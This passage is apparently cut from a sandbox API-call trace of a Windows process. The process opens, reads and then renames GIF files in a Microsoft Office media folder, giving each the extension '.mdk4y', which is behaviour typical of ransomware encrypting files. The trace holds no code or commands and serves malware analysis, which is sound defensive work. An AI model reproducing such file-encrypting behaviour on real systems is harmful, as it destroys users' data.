lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825915000000) returned 1 [0183.921] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2fe, lpOverlapped=0x0) returned 1 [0183.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825916300000) returned 1 [0183.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825916300000) returned 1 [0183.933] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14710_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14710_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14710_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14710_.gif.mdk4y")) returned 1 [0183.935] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.935] AreFileApisANSI () returned 1 [0183.935] GetACP () returned 0x4e4 [0183.935] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14711_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14711_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.935] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14711_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14711_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.936] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825916600000) returned 1 [0183.936] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xa97, lpOverlapped=0x0) returned 1 [0183.937] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825916700000) returned 1 [0183.937] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825916700000) returned 1 [0183.937] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14711_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14711_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14711_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14711_.gif.mdk4y")) returned 1 [0183.938] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.938] AreFileApisANSI () returned 1 [0183.938] GetACP () returned 0x4e4 [0183.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14768_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14768_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.939] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14768_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14768_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.939] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825916900000) returned 1 [0183.939] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1a7, lpOverlapped=0x0) returned 1 [0183.940] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825917000000) returned 1 [0183.940] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825917000000) returned 1 [0183.941] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14768_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14768_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14768_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14768_.gif.mdk4y")) returned 1 [0183.943] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.943] AreFileApisANSI () returned 1 [0183.943] GetACP () returned 0x4e4 [0183.943] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14769_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14769_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.943] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14769_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14769_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.944] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825917400000) returned 1 [0183.944] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x16a, lpOverlapped=0x0) returned 1 [0183.945] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825917500000) returned 1 [0183.945] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825917500000) returned 1 [0183.946] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14769_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14769_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14769_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14769_.gif.mdk4y")) returned 1 [0183.947] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.947] AreFileApisANSI () returned 1 [0183.947] GetACP () returned 0x4e4 [0183.947] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14800_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14800_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.947] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14800_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14800_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.948] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825917800000) returned 1 [0183.948] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1f3, lpOverlapped=0x0) returned 1 [0183.949] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825917900000) returned 1 [0183.949] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825917900000) returned 1 [0183.950] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14800_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14800_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14800_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14800_.gif.mdk4y")) returned 1 [0183.951] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.951] AreFileApisANSI () returned 1 [0183.951] GetACP () returned 0x4e4 [0183.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14801_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14801_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.951] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14801_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14801_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.952] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825918200000) returned 1 [0183.952] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x384, lpOverlapped=0x0) returned 1 [0183.986] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825921600000) returned 1 [0183.986] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825921600000) returned 1 [0183.986] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14801_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14801_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14801_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14801_.gif.mdk4y")) returned 1 [0183.987] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.988] AreFileApisANSI () returned 1 [0183.988] GetACP () returned 0x4e4 [0183.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14844_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14844_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.988] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14844_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14844_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.989] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825921900000) returned 1 [0183.989] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x13c, lpOverlapped=0x0) returned 1 [0183.990] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825922000000) returned 1 [0183.990] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825922000000) returned 1 [0183.990] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14844_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14844_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14844_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14844_.gif.mdk4y")) returned 1 [0183.992] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.992] AreFileApisANSI () returned 1 [0183.992] GetACP () returned 0x4e4 [0183.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14845_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14845_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.993] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14845_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14845_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825922400000) returned 1 [0183.994] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x117, lpOverlapped=0x0) returned 1 [0183.995] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825922500000) returned 1 [0183.995] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825922500000) returned 1 [0183.996] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14845_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14845_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14845_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14845_.gif.mdk4y")) returned 1 [0183.997] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.997] AreFileApisANSI () returned 1 [0183.997] GetACP () returned 0x4e4 [0183.997] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14882_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14882_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.997] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14882_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14882_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.998] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825922800000) returned 1 [0183.998] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x17d, lpOverlapped=0x0) returned 1 [0183.999] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825922900000) returned 1 [0183.999] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825922900000) returned 1 [0184.000] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14882_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14882_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14882_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14882_.gif.mdk4y")) returned 1 [0184.001] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.001] AreFileApisANSI () returned 1 [0184.001] GetACP () returned 0x4e4 [0184.001] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14883_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14883_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.001] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14883_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14883_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.002] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825923200000) returned 1 [0184.002] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x144, lpOverlapped=0x0) returned 1 [0184.003] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825923300000) returned 1 [0184.003] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825923300000) returned 1 [0184.003] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14883_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14883_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14883_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14883_.gif.mdk4y")) returned 1 [0184.004] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.004] AreFileApisANSI () returned 1 [0184.004] GetACP () returned 0x4e4 [0184.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14996_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14996_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.004] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14996_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14996_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.005] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825923500000) returned 1 [0184.005] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2d7, lpOverlapped=0x0) returned 1 [0184.019] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825924900000) returned 1 [0184.019] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825924900000) returned 1 [0184.020] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14996_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14996_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14996_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14996_.gif.mdk4y")) returned 1 [0184.021] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.021] AreFileApisANSI () returned 1 [0184.021] GetACP () returned 0x4e4 [0184.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD14997_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD14997_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.021] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14997_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14997_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.022] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825925200000) returned 1 [0184.022] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2ae, lpOverlapped=0x0) returned 1 [0184.023] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825925300000) returned 1 [0184.023] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825925300000) returned 1 [0184.023] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14997_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14997_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14997_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14997_.gif.mdk4y")) returned 1 [0184.034] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.034] AreFileApisANSI () returned 1 [0184.034] GetACP () returned 0x4e4 [0184.034] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15034_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15034_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.034] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15034_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15034_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.035] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825926500000) returned 1 [0184.035] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x220, lpOverlapped=0x0) returned 1 [0184.036] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825926600000) returned 1 [0184.036] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825926600000) returned 1 [0184.037] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15034_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15034_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15034_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15034_.gif.mdk4y")) returned 1 [0184.038] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.038] AreFileApisANSI () returned 1 [0184.038] GetACP () returned 0x4e4 [0184.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15035_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15035_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.038] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15035_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15035_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.039] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825926900000) returned 1 [0184.039] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x16e, lpOverlapped=0x0) returned 1 [0184.040] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825927000000) returned 1 [0184.040] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825927000000) returned 1 [0184.040] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15035_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15035_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15035_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15035_.gif.mdk4y")) returned 1 [0184.042] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.042] AreFileApisANSI () returned 1 [0184.042] GetACP () returned 0x4e4 [0184.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15072_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15072_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.042] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15072_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15072_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825927300000) returned 1 [0184.043] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, 